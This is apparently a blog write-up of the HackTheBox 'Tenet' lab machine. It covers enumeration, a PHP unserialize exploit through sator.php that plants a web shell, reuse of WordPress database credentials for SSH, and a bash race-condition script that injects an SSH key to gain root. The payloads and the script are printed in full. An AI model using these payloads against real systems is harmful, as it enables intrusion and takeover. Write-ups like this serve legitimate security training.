Home (HTB) - Tenet
Post
Cancel
image alternative text

(HTB) - Tenet

Tenet is medium rated linux box. It’s all about deserialization and exploiting race condition on the system level

ENUMERATION

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for 10.10.10.223
Host is up (0.036s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

WEBSERVER

picture 18

We have to add tenet.htb to hosts file! ;)

Seems like Rest API ist activated.

(http://tenet.htb/index.php/wp-json/wp/v2/users)

picture 19

Word scraping with CEWL to build a wordlist

Let’s scrape the website to find possible passwords (it’s worth a try!)

1
cewl http://tenet.htb -m 6 -w passes.txt

… but it didn’t work however there is a hint on the website

picture 20

Source Code Review

File sator.php can be found on the root of the site, but we cannot read it. If we add .bakextension however http://10.10.10.223/sator.php.bak:

picture 21

In order to successfully exploit the above bug three conditions must be satisfied:

  • The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be used to carry out malicious attacks, or to start a “POP chain”.
  • All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes .
  • The data passed to unserialized comes from a file, so a file with serialized data must be present on the server.

Reference: https://notsosecure.com/remote-code-execution-via-php-unserialize/

Exploiation

Deserialization

So let’s give it a shot:

1
http://10.10.10.223/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"shell3.txt";s:4:"data";s:4:"test";}

File was succesfully written.

picture 22

Now let’s write a php file which accepts GET requests and executes system commands:

1
http://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:{s:9:%22user_file%22;s:10:%22shell5.php%22;s:4:%22data%22;s:30:%22%3C?php%20system($_GET[%27cmd%27]);%20?%3E%22;}

… which has worked: picture 23

We do have command execution:

picture 25

Let’s get a shell, by encoding simple reverse bash shell:

picture 26

Shell has been spawned:

picture 27

Privilege Escalation

Enumeration

While enumerating some credentials were found:

1
2
3
4
www-data@tenet:/var/www/html/wordpress$ cat wp-config.php | grep "DB_USER\|DB_PASSWORD"
<ss$ cat wp-config.php | grep "DB_USER\|DB_PASSWORD"
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );

This credentials also work for SSH as neil.

SUDOERS

After logging in with neil user following entry was discovered after running sudo -l

1
2
3
4
5
6
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

After checking the /usr/local/bin/enableSSH.sh script something became clear - we cannot write to the Path of the root, so it is not possible to exploit that so, this were my thoughts:

  1. there is to much code for such a simple task
  2. it could be a rabbit hole.

The 1. though led to thinking it could be something like race condition so let’s try that..

Exploiting a race condition

Create a new key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Enter file in which to save the key (/home/neil/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:SEkHM+vYF1qsiY4vDjapEXQdQR/JC4g1L/xXTYyV+1E neil@tenet
The key's randomart image is:
+---[RSA 2048]----+
|  ooo+Boo +o.    |
| ...+ooX..oo   E |
| . + o=.=. .. .  |
|. . o* B.. . .   |
|.   o.B.S   . .  |
| ..o  ..     .   |
|o+. .            |
|ooo.             |
|.....            |
+----[SHA256]-----+

We can see that everytime another file will be created.

1
2
3
4
5
6
7
8
neil@tenet:/tmp$ echo $(mktemp -u /tmp/ssh-XXXXXXXX)
/tmp/ssh-FVbr7xIX
neil@tenet:/tmp$ echo $(mktemp -u /tmp/ssh-XXXXXXXX)
/tmp/ssh-CxebKjyk
neil@tenet:/tmp$ echo $(mktemp -u /tmp/ssh-XXXXXXXX)
/tmp/ssh-WPULDJQB
neil@tenet:/tmp$ echo $(mktemp -u /tmp/ssh-XXXXXXXX)
/tmp/ssh-lJEyrgOd

Since there is little chance to guess it, let’s exploit that race condition.

I wrote following script, which spawns 2 threads and it does that 100 times (i had to run the script 2 times )

1
2
3
4
5
6
7
neil@tenet:/tmp/race$ cat race.sh 
#!/bin/bash
for i in {1..100}
do
        sudo /usr/local/bin/enableSSH.sh &
        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDycGKFZRwjVjHPmg5YoP/VmccRN9wwBqdr/BBX4IxsnmeuHsWplgTMuLWhDzDz5dONNiMNEqK80tnsX1/MT2MxfWG/LGzy9FgNChV9COPJbQpTgWidH771u/IOXJGJKu1neDGl6z90ojR1OXuTAPzhf7sloyxr2k221WMqtguGFrP0JWfr0UZojYLOaEA5bawQ+pJouv9AuqEETX4ZMI/9iyLA41DFMr521waxtALk0R0xxYlomHGC5jby/e5cP9vYURAW3POhTz/L07se2joqkJoHHHj9d6oudhGKSCBJwLpnKPj4+TCdXfd1BhiaLJB/aRmJOjXEsogW8WXvbKSH neil@tenet" | tee /tmp/ssh-* &
done

It took lees than 200 iterations to inject the public key into temporary written file. Grep serve just to get rid of output (KSH belongs to the root key and “authorized” belongs to enableSSH.sh output.

picture 28

… and … root! :)

This post is licensed under CC BY 4.0 by the author.